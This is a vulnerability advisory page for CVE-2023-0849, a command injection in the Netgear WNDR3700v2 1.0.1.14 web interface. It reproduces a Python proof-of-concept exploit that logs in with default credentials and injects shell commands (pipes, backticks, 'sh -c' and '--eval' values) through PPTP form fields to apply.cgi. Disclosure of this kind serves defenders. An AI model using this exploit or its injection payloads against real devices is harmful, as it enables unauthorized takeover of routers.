Netgear WNDR3700v2 1.0.1.14 Web Interface command injection

Summaryinfo

A vulnerability categorized as critical has been discovered in Netgear WNDR3700v2 1.0.1.14. This affects an unknown function of the component Web Interface. Executing a manipulation can lead to command injection. This vulnerability is tracked as CVE-2023-0849. The attack can be launched remotely. Moreover, an exploit is present.

Detailsinfo

A vulnerability has been found in Netgear WNDR3700v2 1.0.1.14 (Wireless LAN Software) and classified as critical. This vulnerability affects an unknown functionality of the component Web Interface. The manipulation with an unknown input leads to a command injection vulnerability. The CWE definition for the vulnerability is CWE-77. The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. As an impact it is known to affect confidentiality, integrity, and availability.

The weakness was disclosed 02/15/2023. This vulnerability was named CVE-2023-0849. Technical details are unknown but a public exploit is available. The MITRE ATT&CK project declares the attack technique as T1202.

It is possible to download the exploit at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:

import requests,socket
import re
import time
from urllib.parse import urlencode

username = 'admin'
password = 'password'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.2'

request = {'HEAD':
  {'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 -e \'exec "/bin/sh -c ping -c 1 {}";\' '.format(ping_target), 
  'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 -p '`/bin/sh -c ping -c 1 {} 1>&0`' ".format(ping_target),
  'Accept-Language': 'en-US,en;q=0.5',
  'Accept-Encoding': 'gzip, deflate', 
  'Content-Type': 'application/x-www-form-urlencoded', 
  'Origin': 'http://127.0.0.1:8081', 
#  'Authorization': 'Basic YWRtaW46cGFzc3dvcmQ=', 
  'Connection': 'keep-alive', 
  'Referer': 'http://127.0.0.1:8081/BAS_pptp.htm', 
  'Upgrade-Insecure-Requests': '1'}, 
  'PARAM': 
  {'submit_flag': 'pptp',
  'change_wan_type': 0, 
  'run_test': 'no', 
  'pptp_myip': '/index.html|ping -c 1 {}|'.format(ping_target), 
  'pptp_gateway': '192.168.55.6/../../../../../../../../../../../../dev/console', 
  'pptp_subnet': '255.255.255.0', 
  'pptp_dnsaddr1': "192.168.55.1 -x sh -c 'reset; exec ping -c 1 {} 1>&0 2>&0' ".format(ping_target), 
  'pptp_dnsaddr2': '192.168.55.2', 'hidden_pptp_idle_time': '5', 
  'conflict_wanlan': '', 
  'hid_mtu_value': 1436, 
  'hid_pptp_dod': 1, 
  'login_type': " -p '`/bin/sh -c ping -c 1 {} 1>&0`' ".format(ping_target), 
  'pptp_username': 'dummy -s --eval=$\'x:\n\t-\'"ping -c 1 {}" '.format(ping_target), 
  'pptp_passwd': 'dummy', 
  'pptp_dod': 1, 
  'pptp_idletime': 255, 
  'myip_1': 192, 
  'myip_3': 55, 
  'myip_4': 5, 
  'WANAssign': 1, 
  'mymask_1': '', 
  'mymask_2': '', 
  'mymask_3': '', 
  'mymask_4': '', 
  'pptp_serv_ip': '10.0.0.138', 
  'mygw_1': '192', 
  'mygw_2': 168, 
  'mygw_3': 55, 
  'mygw_4': 6, 
  'Gateway': '',
  'pptp_conn_id': 'dummy', 
  'DNSAssign': 1, 
  'DAddr1': 192, 
  'DAddr2': 168, 
  'DAddr3': 55, 
  'DAddr4': 4278190081, 
  'PDAddr1': 255, 
  'PDAddr2': 168, 
  'PDAddr3': 55, 
  'PDAddr4': 2, 
  'Spoofmac': '52:54:00:12:34:66', 
  'Apply': 'Apply', 
  'wds_endis_ip_client': '', 
  'ipv6_primary_dns_fixed': '', 
  'out_of_range': '', 
  'repeater_mac1': '', 
  'network': '', 
  'domain_name': '<% cfg_sed_xss(', 
  'repeater_ip_a': '', 
  'system_name': ''
  }, 
  'ATTR': 
  {'URL': 'http://{}/apply.cgi?/BAS_update.htm timestamp=40908312'.format(device_web_ip), 
  'METHOD': 'POST', 
  'VERSION': 'HTTP/1.1'
  }
}

headers = request['HEAD']
params = request['PARAM']
method = request['ATTR']['METHOD']
url = request['ATTR']['URL']

probe = 'http://{}/BAS_pptp.htm'.format(device_web_ip)
loop = 3
r = None
while loop>0:
  try:
    loop -= 1
    r = requests.get(url=probe,headers=headers,auth=(username,password),timeout=0.5)
    if r is not None and r.status_code != 200:
      time.sleep((3-loop)*3)
    elif r is not None and r.status_code == 200:
      break
  except Exception as e:
    time.sleep((3-loop)*3)
    print('Send token probe error:{}'.format(e))

timestamp = None
if r is not None and r.status_code == 200:
  body = r.text.replace('%20',' ')
  pat = r'action="(.*?) timestamp=(.*?)"'
  res = re.findall(pat, body)
  if len(res) > 0 and len(res[0])==2:
    uri_half = res[0][0]
    timestamp = res[0][1]
    print('new timestamp:{}'.format(timestamp))

if timestamp is not None:
  pos = url.find(' timestamp=')
  url_tmp = url[:pos] + ' timestamp=' + timestamp
  url = url_tmp
r = requests.request(method=method,url=url,headers=headers,auth=(username,password),data=params,verify=False,timeout=0.5)

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Productinfo

Type

• Wireless LAN Software

Vendor

• Netgear

Name

• WNDR3700v2

Version

• 1.0.1.14

License

• commercial

Website

• Vendor: https://www.netgear.com/

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #87903: Command injection in Netgear router WNDR3700v2 (by leetsun)

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Discussion